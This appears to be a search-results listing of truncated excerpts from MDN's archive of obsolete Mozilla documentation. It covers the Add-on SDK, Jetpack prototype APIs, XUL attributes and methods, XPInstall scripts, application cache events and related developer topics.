... so there are two main ways you will interact with the eventemitter framework: listening to built-in events emitted by objects in the sdk, such as tabs opening, pages loading, mouse clicks sending and receiving user-defined events between content scripts and add-on code this guide only covers the first of these; the second is explained in the working with content scripts guide.
...this is a function which will be called whenever the event occurs.
addon-page - Archive of obsolete content
usage with the add-on sdk you can present information to the user, such as a guide to using your add-on, in a browser tab.
... for pages like this, navigational elements such as the awesome bar, search bar, or bookmarks toolbar are not usually relevant and distract from the content you are presenting.
... the addon-page module provides a simple way to have a page which excludes these elements.
selection - Archive of obsolete content
each listener will be called after a selection is made.
...each iteration yields a selection object from which text, html, and iscontiguous properties can be accessed.
... iscontiguous true if the current selection is a single, contiguous selection, and false if there are two or more discrete selections, each of which may or may not be spatially adjacent.
High-Level APIs - Archive of obsolete content
unless the documentation explicitly says otherwise, all these modules are "stable": we'll avoid making incompatible changes to them.
... page-mod run scripts in the context of web pages whose url matches a given pattern.
... private-browsing check whether a given object is private, so an add-on can respect private browsing querystring utility functions for working with query strings.
core/namespace - Archive of obsolete content
provides an api for creating namespaces for objects, which effectively may be used for creating fields that are not part of objects public api.
... } view.prototype.destroy = function destroy() { let { element } = dom(this); element.parentnode.removechild(element); // ...
... also, multiple namespaces can be used with one object: // ./widget.js let { cu } = require('chrome'); let { ns } = require('sdk/core/namespace'); let { view } = require('./view'); // note this is completely independent from view's internal namespace object.
jpm-mobile - Archive of obsolete content
someone else may have had the same problem you do, so try searching the list.
...you can also chat with other sdk users in #jetpack on mozilla's irc network.
... command reference there are currently two jpm commands: jpm-mobile run launch an instance of firefox with your add-on installed.
Implementing the widget - Archive of obsolete content
this hierarchy isn't mandatory; you could just keep them all under data.
... main.js now in the lib directory open main.js and add the following code: var widgets = require('sdk/widget'); var data = require('sdk/self').data; var annotatorison = false; function toggleactivation() { annotatorison = !annotatorison; return annotatorison; } exports.main = function() { var widget = widgets.widget({ id: 'toggle-switch', label: 'annotator', contenturl: data.url('widget/pencil-off.png'), contentscriptwhen: 'ready', contentscriptfile: data.url('widget/widget.js') }); widget.port.on('left-click', function() { console.log('activate/deactivate'); widget.contenturl = toggleactivation() ?
...you should see the widget in the add-on bar: left- and right-clicks should produce the appropriate debug output, and a left-click should also change the widget icon to signal that it is active.
LookupPrefix - Archive of obsolete content
here is an implementation of lookupprefix which should work cross-browser.
...tenttype; // mozilla only // depends on private function _lookupnamespaceprefix() below and on https://developer.mozilla.org/en/code_snippets/lookupnamespaceuri // http://www.w3.org/tr/dom-level-3-core/core.html#node3-lookupnamespaceprefix // http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceprefixalgo // (the above had a few apparent 'bugs' in the pseudo-code which were corrected here) if (node.lookupprefix && htmlmode !== 'text/html') { // shouldn't use this in text/html for mozilla as will return null return node.lookupprefix(namespaceuri); } if (namespaceuri === null || namespaceuri === '') { return null; } switch (node.nodetype) { case 1: // node.element_node return _lookupnamespaceprefix(namespaceuri, node); case 9: // node.document_n...
...paceuri(originalelement.prefix) === namespaceuri) { return originalelement.prefix; } if (originalelement.attributes && originalelement.attributes.length) { for (var i=0; i < originalelement.attributes.length; i++) { var att = originalelement.attributes[i]; xmlnspattern.lastindex = 0; var localname = att.localname || att.name.substr(att.name.indexof(':')+1); // latter test for ie which doesn't support localname if (localname.indexof(':') !== -1) { // for firefox when in html mode localname = localname.substr(att.name.indexof(':')+1); } if ( xmlnspattern.test(att.name) && att.value === namespaceuri && lookupnamespaceuri(originalelement, localname) === namespaceuri ) { return localname; } } } if (originalelement.parentnode) { // entityrefe...
Scrollbar - Archive of obsolete content
example assumes a structure like this: app/chrome/chrome.manifest app/chrome/skin/global/ copy the scrollbars.css from xulrunner/chrome/classic.jar/skin/classic/global to app/chrome/skin/global/scrollbars.css open the app/chrome/chrome.manifest and add: skin app-global standard/1.0 skin/global/ override chrome://global/skin/xulscrollbars.css chrome://app-global/skin/scrollbars.css xulscrollbars.css are used for windows xp, and nativescrollbars.css on osx.
... so to make this work with osx, make an extra override: override chrome://global/skin/nativescrollbars.css chrome://app-global/skin/scrollbars.css change some color values inside the app/chrome/skin/global/scrollbars.css to test that the css is used.
... example xul window: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="samplewindow" width="320" height="240" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <hbox flex="1"> <browser type="content" src="http://mozilla.org" flex="1"/> <scrollbar orient="vertical"/> </hbox> </window> ...
Tree - Archive of obsolete content
expanding/collapsing all tree nodes to expand all tree nodes: var treeview = tree.treeboxobject.view; for (var i = 0; i < treeview.rowcount; i++) { if (treeview.iscontainer(i) && !treeview.iscontaineropen(i)) treeview.toggleopenstate(i); } to collapse all tree nodes just change the condition: var treeview = tree.treeboxobject.view; for (var i = 0; i < treeview.rowcount; i++) { if (treeview.iscontainer(i) && treeview.iscontaineropen(i)) treeview.toggleopenstate(i); } getting the text from the selected row assuming the given <tree>: <tree id="my-tree" seltype="single" onselect="ontreeselected()"> use the following javascript: function ontreeselected(){ var tree = document.getelementbyid("my-tree"); var cellindex = 0; var celltext = tr...
... getting the cell from a mouse click your first choice is likely to try <treecell onclick="yourfunc();"/> or something similar.
...for example, assuming the given <tree>: <tree id="my-tree" onclick="ontreeclicked(event)"> use the following javascript: function ontreeclicked(event){ var tree = document.getelementbyid("my-tree"); var tbo = tree.treeboxobject; // get the row, col and child element at the point var row = { }, col = { }, child = { }; tbo.getcellat(event.clientx, event.clienty, row, col, child); var celltext = tree.view.getcelltext(row.value, col.value); alert(celltext); } getting the selected indices of a multiselect tree var start = {}, end = {}, numranges = tree.view.selection.getrangecount(), selectedindices = []; for (var t = 0; t < numranges;...
View Source for XUL Applications - Archive of obsolete content
importing gviewsourceutils xul applications wanting to show the source code for documents should import the viewsourceutils.js script instead of attempting to open the viewsource.xul window themselves: <script type="application/javascript" src="chrome://global/content/viewsourceutils.js"/> viewsourceutils.js exposes a gviewsourceutils global into the scope of the window that imports that script.
...pass this if you want to attempt to load the document source out of the network cache.
... apagedescriptor (optional) a "descriptor" that allows the source to be retrieved from the network cache.
Downloading JSON and JavaScript in extensions - Archive of obsolete content
a common practice found in many extensions is using xmlhttprequest (or some other mechanism) to download javascript or json (they are different) from a remote website.
... the practice is dangerous because the decoded javascript has full chrome privileges and could perform some nasty actions.
...this usually happens because the extension is trying to keep some of its code fresh and dynamic, and the developers don't want to create a new version of the extension for each script change.
Extension Theming Guidelines - Archive of obsolete content
skin packages just as extension code should exist in chrome content packages, all of the styling for an extension including css and images should exist in a chrome skin package.
... branding certain items of your extensions style, in particular logos and icons can be kept in the chrome content package such that they are not replaceable by custom themes stylesheets guidelines include stylesheets for every new window that your extension adds and for every window that your extension overlays content into be sure to add a stylesheet from your chrome skin package.
...in this case you should add a stylesheet to your chrome content package and apply the bindings there.
Migrating raw components to add-ons - Archive of obsolete content
what's worse, though, is that these components don't have a mechanism for specifying the versions of firefox with which they are compatible, leading to poor integration and instability as users upgrade their firefox installations.
... the firefox extension mechanism allows you to do everything that you could do through direct component drops, but also gives you and your users extra flexibility and more sophisticated versioning support.
...as you'll see, add-ons give you much more flexibility than simply loading a component, but in order to get started, all you'll need is your directory structure and install manifest.
Overlay extensions - Archive of obsolete content
this page contains links to documentation for the approach to developing extensions for gecko-based applications which uses: xul overlays to specify the interface apis available to privileged code, such as tabbrowser and javascript modules, to interact with the application and content.
...this methodology has largely been superseded by restartless extensions, and the add-on sdk, which is built on top of them.
... xul school xul school is a comprehensive add-on development tutorial, focusing on firefox extension development but mostly applicable to other gecko-based applications.
Beginner tutorials - Archive of obsolete content
this page includes archived beginners tutorials, from various places around mdn.
... creating reusable content with css and xblthis page illustrates how you can use css in mozilla to improve the structure of complex applications, making code and resources more easily reusable.underscores in class and id namessummary: the use of the underscore character in css can lead to major display problems in multiple browsers.
...this technical note examines the use of underscores in css, and why they should be generally avoided in most circumstances.xml datathis page contains an example of how you can use css with xml data.xul user interfacesthis page illustrates mozilla's specialized language for creating user interfaces.
DOMSubtreeModified - Archive of obsolete content
example the following code will display the time of last dom change on the title bar of the page.
... this event has been deprecated in favor of the mutation observer api this event can cause infinite loops if you decide to change the dom inside the event handler, hence it has been disabled in a number of browsers (see domattrmodified and domsubtreemodified events are no longer fired when style attribute is changed via cssom for example).
... document.body.addeventlistener('domsubtreemodified', function () { document.title = 'dom changed at ' + new date(); }, false); ...
downloading - Archive of obsolete content
the downloading event is fired after checking for an application cache update, if the user agent has found an update and is fetching it, or is downloading the resources listed by the cache manifest for the first time.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events checking noupdate progress cached updateready obsolete error ...
error - Archive of obsolete content
the error event is fired when an error occurred while downloading the cache manifest or updating the content of the application.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events checking noupdate downloading progress cached updateready obsolete error ...
noupdate - Archive of obsolete content
the noupdate event is fired after checking for an application cache update, if the manifest hasn't changed.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events checking noupdate downloading progress cached updateready obsolete error ...
obsolete - Archive of obsolete content
the obsolete event is fired when the manifest was found to have become a 404 or 410 page, so the application cache is being deleted.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events checking noupdate downloading progress cached updateready obsolete error ...
updateready - Archive of obsolete content
the updateready event is fired when the resources listed in the application cache manifest have been newly redownloaded, and the script can use swapcache() to switch to the new cache.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events checking noupdate downloading progress cached updateready obsolete error ...
cert_override.txt - Archive of obsolete content
m:443 oid.2.16.840.1.101.3.4.2.1 00:11:22:33:44:55:66:77:88:99:aa:bb:cc:dd:ee:ff:ff:ee:dd:cc:bb:aa:99:88:77:66:55:44:33:22:11:00 u aaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaa== fields fields are separated by a tab character.
... each line is terminated by a line feed character (unix format).
... domainname:port : port 443 for https (ssl) hash algorithm oid sha1-256: oid.2.16.840.1.101.3.4.2.1 (most used) sha-384: oid.2.16.840.1.101.3.4.2.2 sha-512: oid.2.16.840.1.101.3.4.2.3 certificate fingerprint using previous hash algorithm one or more characters for override type: m : allow mismatches in the hostname u : allow untrusted certs (whether it's self signed cert or a missing or invalid issuer cert) t : allow errors in the validity time, for example, for expired or not yet valid certs certificate's serial number and the issuer name as a base64 encoded string ...
Automated testing tips and tricks - Archive of obsolete content
todo: check example code in to the tree somewhere how to quit the browser on all platforms window.close() of the last open window does not quit the application on mac http://people.mozilla.com/~davel/scripts/ - look at quit.js and quit.xul install manifest file in appdir/chrome to map chrome://tests/content to directory containing quit.js and quit.xul example: content tests file:///users/davel/work/tests/ start app with command line flag -chrome chrome://tests/content/quit.xul how to create a new profile from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${pro...
...file_dir}/testprofile" next, start firefox to populate the new profile directory with the rest of the default settings firefox-bin -p testprofile -chrome chrome://tests/content/quit.xul<code> the above process may exit before the profile is completely created.
... in test scripts, <code>sleep 5 after the above command should ensure the profile is created before the next command in the test script is run how to enable dump in a new profile add user_pref("browser.dom.window.dump.enabled", true); to profiledir/user.js how to execute test code with chrome privileges using a chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scripts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/content/ above code calls the quit function in quit.js to exit after test is finished how to detect content onload event from chrome use the domcontentloaded event chromewindow.addeventlistener('domcontentloaded',callbackfunction,false); ...
Introduction - Archive of obsolete content
in the scenario described described, a bunch of client workstations running windows access a linux samba server, on which the user's home directories are stored (under drive h:).
... our goal is to make it possible to automatically generate a mozilla configuration on the server for each user as soon as he is created.
... moreover, we want to lock certain settings, so that users cannot change them.
Building TransforMiiX standalone - Archive of obsolete content
read the build instructions for your platform to get the requirements, which are the same as for mozilla.
... of course, make -f client.mk checks out and builds just transformiix alright.
... original document information author: axel hecht last updated date: april 5, 2004 copyright information: portions of this content are © 1998–2006 by individual mozilla.org contributors; content available under a creative commons license ...
Enabling the behavior - updating the status bar panel - Archive of obsolete content
in order for loadtinderboxstatus() to have any effect we need to define a matching updatetinderboxstatus() function.
... function updatetinderboxstatus() { var icon = document.getelementbyid('tinderbox-status'); if (gxmlhttprequest.responsetext.match("ee0000")) icon.setattribute("status", "busted"); else if (gxmlhttprequest.responsetext.match("ffaa00")) icon.setattribute("status", "testfailed"); else if (gxmlhttprequest.responsetext.match("11dd11")) icon.setattribute("status", "success"); else icon.setattribute("status", ""); } updatetinderboxstatus() retrieves a reference to the statusbarpanel element then searches through the retrieved html document (stored in the responsetext property of the xmlhttprequest instance) for one of several color references.
...when it finds a color, it sets the panel's status attribute to the corresponding status, which causes the previously defined css rules to switch to the icon appropriate for that status.
Enabling the behavior - updating the status periodically - Archive of obsolete content
function loadtinderboxstatus() { gxmlhttprequest = new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.send(null); window.settimeout(loadtinderboxstatus, 60000); } window.settimeout(loadtinderboxstatus, 1000); window.settimeout schedules functions to run at some future time.
... we use it inside the loadtinderboxstatus function to make that function run a second (1,000 milliseconds) after startup and a minute (60,000 milliseconds) after each invocation.
... <!-- navigator --> <script type="application/javascript" src="chrome://navigator/content/browser.js"/> <script type="application/javascript" src="chrome://navigator/content/navigator.js"/> <script type="application/javascript" src="chrome://navigator/content/navigatordd.js"/> <script type="application/javascript" src="chrome://navigator/content/sessionhistoryui.js"/> <script type="application/javascript" src="chrome://navigator/content...
Finding the code to modify - Archive of obsolete content
click the plus sign next to the statusbar node in the dom inspector and select each statusbarpanel node in turn.
... notice the flashing red border around each different section of the status bar.
... inspectorwidget the inspectorwidget extension adds a toolbar button and context menus for invoking the dom inspector (domi) for either chrome or content elements.thus this makes it possible to save all the above dom inspector user interface diggings.
contents.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:myskin/1.0" /> </rdf:seq> <rdf:description about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:myskin/1.0:packages"> <rdf:li resource...
...="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:navigator"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information.
...--> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:global"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:navigator"/> </rdf:rdf> ...
Download Manager improvements in Firefox 3 - Archive of obsolete content
note: these changes will require some modest revisions to code using the download manager; several methods have had minor changes.
... nsidownloadprogresslistener applications and extensions implement this interface to be made aware of changes in the status of downloads.
... the download manager schema this article describes the database format used to store and track information about each download.
Error Console - Archive of obsolete content
use the web console instead, for web content, or the browser console for chrome content.
... the error console is a tool available in most mozilla-based applications that is used for reporting errors in the application chrome and in web pages user opens.
... it reports javascript-related errors and warnings, css errors and arbitrary messages from chrome code.
Exception logging in JavaScript - Archive of obsolete content
as a result, if, for example, c++ code called a javascript component, which threw an exception, that exception would be logged to the console before control was returned to the c++ caller.
...consider this call chain: here we see c++ code calling javascript, which calls back into c++, which then calls back into javascript.
...forcing logging of exceptions in inner js frames sometimes you might actually want to see all exceptions from inner javascript frames logged (in the call chain above that would be when an exception is unhandled in frame 4).
Syncing custom preferences - Archive of obsolete content
when preferences sync is enabled, firefox sync will synchronize preferences between the same application based on a whitelist.
...the whitelist is determined as follows: for each services.sync.prefs.sync.<pref> preference that is set to true, firefox sync will sync the <pref> preference.
...the most convenient place for this would be your add-on's default preferences, though if you want to give the user a choice to opt-in, you can also do it programmatically.
importUserCertificates - Archive of obsolete content
there may also be large incompatibilities between implementations and the behavior may change in the future.
...the request id in the response being imported must match the request id in the associated certification request or recovery request.
...if it fails, one of the following error strings will be returned: error string description "error:usercancel" the user canceled the import operation "error:invalidcertificate" one of the certificate packages was incorrectly formatted "error:internalerror" the software encountered some internal error, such as out of memory "error:invalidrequestid" the request id in the response message does not match any outstanding request ...
Enabling Experimental Jetpack Features - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
...in python, you can call from __future__ import foo which adds the functionality that foo yields to the script.
...jetpack.future.import("clipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the script (barring any other changes made during integration).
Settings - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
...settings are private to each jetpack and are not accessible by other jetpacks.
...jetpack.future.import("storage.settings"); this definition will result in a user interface with an input field for each setting defined above.
Clipboard - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
...the namespace associated with this api is jetpack.clipboard which provides both read and write access to the clipboard.
...the only flavors currently implemented are 'plain' (text/unicode) and 'html' (which is html).string"text" here's an example of how to use the method to set the clipboard.
Clipboard Test - Archive of obsolete content
<style></style> <style>.description{ display: block; font-size: 13pt; color: #444; font-style: italic; margin-bottom: 7px; } .method>.returns{display: none;} .method>.name>.param:not(:last-child):after{content: ","; padding-right: .5em; } .method>.name>.param:not(:last-child):after{content: ","; padding-right: .5em; } .method>.name>.param>.name:after{content: " as "; font-weight: normal; } .method>.params{display: block; color:#555;} .method>.params>.param{display: block; margin-bottom:5px;} .method>.params>.param>.name{font-weight:bold; margin-right:.5em; min-width:80px; display:inline-block;} .method>.params>.param>.description{display:inline-block; width:300px; vertical-align:top;margin-right:30px} .method>.params>.param>.type{display:inline-block; width:100px; vertical-align:top;font-wei...
...the namespace associated with this api is jetpack.clipboard which provides both read and write access to the clipboard.
...the only flavors currently implemented are 'plain' (text/unicode) and 'html' (which is html).string"text" here's an example of how to use the method to set the clipboard.
Tabs - Archive of obsolete content
ArchiveMozillaJetpackUITabs
note: this page documents the jetpack prototype, which is no longer under active development.
...onfocus()changing the focus of a tab.
...onfocus()changing the focus of a tab.
Simple Storage - Archive of obsolete content
jetpack.storage.simple is a single, persistent javascript object private to each jetpack.
...examples this code persistently stores some data: jetpack.future.import("storage.simple"); var mystorage = jetpack.storage.simple; mystorage.fribblefrops = [1, 3, 3, 7]; mystorage.heimelfarbs = { bar: "baz" }; and this code -- pretend it's in the same jetpack as the code above -- simply uses that data: mystorage.fribblefrops.foreach(function (elt) console.log(elt)); var bar = mystorage.heimelfarbs.bar; jetpack.notifications.show(bar.baz); that's all there is to it!
... we'll add a notes menu with // a submenu, which lists all the notes.
Overview of how downloads work - Archive of obsolete content
one way is to encounter a file with an unknown content type, the other is to choose "save link target as" from the context menu of a link.
...click on the images to display them "stand-alone" in the browser, which may resize them to fit the browser window.
...get the .dia file here: mozilla_downloads_path2.dia original document information author: christian biesinger ...
Plug-n-Hack Get Involved - Archive of obsolete content
if you would like to add pnh support to a browser or tool, or even get involved in onward pnh development, then please get in touch and we will give you whatever assistance we can.
... to contribute or keep up to date with plug-n-hack changes please joion the mozilla plug-n-hack google group.
... you can also talk to the mozilla security team about this project on the #websectools irc channel.
Styling - Archive of obsolete content
to use platform-specific styles, create a folder in the bundle archive for each supported os and place a webapp.css file in the folder.
... the folder names must match the following: windows - winnt mac os x - darwin linux - linux the folder names are pulled from mozilla and are the same as those used in other mozilla projects, such as extension and xul applications.
... note: you can also include a root level webapp.css which will be used if a platform-specific version is not found.
Remote XUL - Archive of obsolete content
how to use xul delivered from a webserver, not as part of chrome.
...the remote xul manager extension lets you manage this whitelist, which is maintained using nsipermissionmanager, by creating entries of type "allowxulxbl", like this: components.classes["@mozilla.org/permissionmanager;1"] .getservice(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); see using remote xul.
... oreillynet article, part 1 oreillynet article, part 2 restrictions see remote xul bugs for needless restrictions, features which don't work in remote xul (but in chrome xul) although they really should.
SpiderMonkey coding conventions - Archive of obsolete content
use the spidermonkey c++ coding style page on wikimo which is more up to date and the canonical source.
...js_searchscope.
... most static function names have unprefixed, mixed-case names: getchar.
open - Archive of obsolete content
certain methods of file, such as read and write should not be used when the file is not open.
... other methods, such as remove may not be used when the file is open.
...text indicates ascii text without nul characters.
Using gdb on wimpy computers - Archive of obsolete content
gdb is free software, covered by the gnu general public license, and you are welcome to change it and/or distribute copies of it under certain conditions.
...0x404ccdeb in __sigsuspend (set=0xbf5ffbc0) at ../sysdeps/unix/sysv/linux/sigsuspend.c:48 48 ../sysdeps/unix/sysv/linux/sigsuspend.c: no such file or directory.
...[switching to thread 2051 (runnable)] 0x404ccdeb in __sigsuspend (set=0xbf5ffbac) at ../sysdeps/unix/sysv/linux/sigsuspend.c:48 48 ../sysdeps/unix/sysv/linux/sigsuspend.c: no such file or directory.
XBL 1.0 Reference - Archive of obsolete content
bindings binding content children implementation constructor destructor field property getter setter method parameter body handlers handler resources stylesheet image binding attachment and detachment attachment using css attachment using element.style property <constructor> call <destructor> call binding documents dom interfaces the nsidomdocumentxbl interface anonymous content introductio...
...n scoping and access using the dom content generation rules for generation attribute forwarding insertion points <children> handling dom changes event flow and targeting flow and targeting across scopes focus and blur events mouseover and mouseout events anonymous content and css selectors and scopes binding stylesheets binding implementations introduction methods properties inheritance of implementations event handlers example - sticky notes updated and adjusted for the current firefox implementation.
... notes.html notes.xml notes.css view this example download all files (.zip archive) need to ask to adjust the server - it gives "access denied" for zip files (?) references initial xbl 1.0 proposal submitted as a note to w3c (does not reflect mozilla implementation, nor future plans) xbl 2.0 project original document information last updated date: april 24, 2006 ...
Trigger Scripts and Install Scripts - Archive of obsolete content
triggers use the installtrigger object methods to compare software versions, install chrome, and perform simple software installations.
... these install scripts are typically located at the top level of the xpi archives in which the installations are stored.
... a trigger script may trigger the downloading of a xpi, which in turn will use its own install.js script to manage the complete installation.
Windows Install - Archive of obsolete content
windows install example this example shows the installation of a xpi in which user profile information is contained.
... note the disk space verification, the editing of the windows registry, the writing to the installation log, and the error checking before either performinstall or cancelinstall is called.
...rogram: " + fprogram); if(verifydiskspace(fprogram, srdest)) { setpackagefolder(fprogram); err = adddirectory("", "6.0.0.2000110801", "bin", // dir name in jar to extract fprogram, // where to put this file // (returned from getfolder) "", // subdir name to create relative to fprogram true); // force flag logcomment("adddirectory() returned: " + err); // check return value if(err == success) { err = performinstall(); logcomment("performinstall() returned: " + err); } else cancelinstall(err); } else cancelinstall(insufficient_disk_space); // end main ...
macAlias - Archive of obsolete content
method of file object syntax int macalias( filespecobject destdir, string filename, filespecobject aliasdir, string aliasname ); parameters the macalias method has the following parameters: destdir a filespecobject that represents the directory into which the program file will be installed.
... aliasdir a filespecobject that represents the directory into which the alias file will be installed (e.g.,"mac desktop").
... example see file.macalias in the script examples chapter.
addDirectory - Archive of obsolete content
a relative pathname is appended to the registry name of the package as specified by the package parameter to the initinstall method.this parameter can also be null, in which case the xpisourcepath parameter is used as a relative pathname.note that the registry pathname is not the location of the software on the computer; it is the location of information about the software inside the client version registry.
... version an installversion object or a string of up to four integer values delimited by periods, such as "1.17.1999.1517".
... xpisourcepath a string specifying the location of the directory within the xpi file.an empty string ("") causes the creation of a subdirectory node in the registry without actually unpacking any files, which may be useful when you are updating a package that contains subcomponents that could also be updated separately.
initInstall - Archive of obsolete content
the client version registry is a hierarchical description of the software registered for use with netscape 6.
... the registry name provided here is not the location of the software on the machine, it is the location of information about the software inside the registry.
...when version is a string it should be up to four integer values delimited by periods, such as "1.17.1999.1517".
setValue - Archive of obsolete content
method of winreg object syntax string setvalue ( string subkey, string valname, winregvalue value); parameters the setvalue method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
... valname the name of the value-name/value pair whose value you want to change.
... returns 0 if it succeeded; a nonzero number if it failed to schedule the action.
setValueNumber - Archive of obsolete content
method of winreg object syntax int setvaluenumber ( string subkey, string valname, number value ); parameters the method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
... valname the name of the value-name/value pair whose value you want to change.
... returns 0 if it succeeded; a nonzero number if it failed to schedule the action.
setValueString - Archive of obsolete content
method of winreg object syntax int setvaluestring ( string subkey, string valname, string value); parameters the method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
... valname the name of the value-name/value pair whose value you want to change.
... returns 0 if it succeeded; a nonzero number if it failed to schedule the action.
XPInstall - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
...<?xml version="1.0" encoding="utf-8"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- properties --> </description> </rdf> cross-platform install (xpinstall) is a technology used by mozilla application suite, mozilla firefox, mozilla thunderbird and other xul-based applications for installing extensions.
... creating xpi installer modules this article describes the packaging scheme of the mozilla and offers a tutorial for creating a new package that can then be redistributed, installed, and made available to users.
button.type - Archive of obsolete content
checkbox this type of button can be in two states.
... the user can click the button to switch between the states.
... this is not the same as a checkbox because it looks like a button.
disableautoselect - Archive of obsolete content
« xul reference home disableautoselect type: boolean if this attribute is true or omitted, the selected item on the menu will update to match what the user entered in the textbox.
... if the text does not match any of the items in the list, the menu selection is cleared.
... if this attribute is false, the selection is never updated to match the text box.
disabled - Archive of obsolete content
do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
...using it with an anchor tag (an <a> link) will have no effect.
... visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
dlgtype - Archive of obsolete content
for example, if the dlgtype is set to accept, the button will replace the dialog box's accept button, which is usually labeled ok.
...the following values can be used as the dialog type: accept the ok button, which will accept the changes when pressed.
... cancel the cancel button which will cancel the operation.
orient - Archive of obsolete content
« xul reference home orient type: one of the values below used to specify whether the children of the element are oriented horizontally or vertically.
... horizontal child elements of the element are placed next to each other in a row in the order that they appear in the xul source.
... vertical child elements of the element are placed under each other in a column in the order that they appear in the xul source.
popup.position - Archive of obsolete content
this value can be specified either as a single word offering pre-defined alignment positions, or as 2 words specifying exactly which part of the anchor and popup should be aligned.
... if specified as 2 words, the value indicates which corner or edge of the anchor (the first word) is aligned which which corner of the popup (the second word).
... the anchor value (ie, the first word) can be one of topleft, topright, bottomleft, bottomright, leftcenter, rightcenter, topcenter or bottomcenter.
validate - Archive of obsolete content
« xul reference home validate type: one of the values below this attribute indicates whether to load the image from the cache or not.
...the following values are accepted, or leave out the attribute entirely for default handling: always the image is always checked to see whether it should be reloaded.
... never the image will be loaded from the cache if possible.
IO - Archive of obsolete content
ArchiveMozillaXULFileGuideIO
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
... there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
...the returned value is still a nsifile object, however a number of methods may be used which are only of value for subdirectories.
advance - Archive of obsolete content
ArchiveMozillaXULMethodadvance
the canadvance property must be set to true for the page to be changed.
... the code in the onwizardnext attribute is called before the page is changed.
... the pageid argument allows you to specify the index of the page to which to jump.
advanceSelectedTab - Archive of obsolete content
« xul reference home advanceselectedtab( dir, wrap ) return type: no return value if the argument dir is set to 1, the currently selected tab changes to the next tab.
... if the argument dir is set to -1, the currently selected tab changes to the previous tab.
... if the wrap argument is true, the adjustment will wrap around when the first or last tab is reached.
loadURI - Archive of obsolete content
ArchiveMozillaXULMethodloadURI
« xul reference home note: this is the xul method on <browser> / <tabbrowser>, not the global function in chrome://browser/content/browser.js.
... please check which one you're documenting!
... (this one has no post data parameter, see loaduriwithflags for a version that does) loaduri( uri, referrer, charset ) return type: no return value load a url into the document, with the given referrer and character set.
reloadWithFlags - Archive of obsolete content
the flags listed below may be used, which are all constants of the webnavigation property (or the nsiwebnavigation interface).
... load_flags_bypass_cache: reload the page, ignoring if it is already in the cache.
... load_flags_charset_change: this flag is used if the document needs to be reloaded because the character set changed.
Floating Panels - Archive of obsolete content
